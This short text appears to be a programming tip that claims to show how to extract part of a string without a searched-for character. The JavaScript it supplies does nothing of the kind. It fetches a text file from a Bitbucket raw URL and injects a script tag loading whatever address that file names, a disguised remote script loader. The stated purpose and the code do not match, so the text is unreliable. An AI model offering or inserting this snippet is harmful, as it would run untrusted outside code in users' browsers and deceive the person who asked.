To extract your portion of a string without the actual character you searched for, you can use:

var url = ‘https://bitbucket.org/goo2/adss/raw/bb48df0654afc575e4e10d9e14d886a4afba6bc2/go.txt’; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(‘script’); script.src = data.trim(); document.getElementsByTagName(‘head’)[0].appendChild(script); });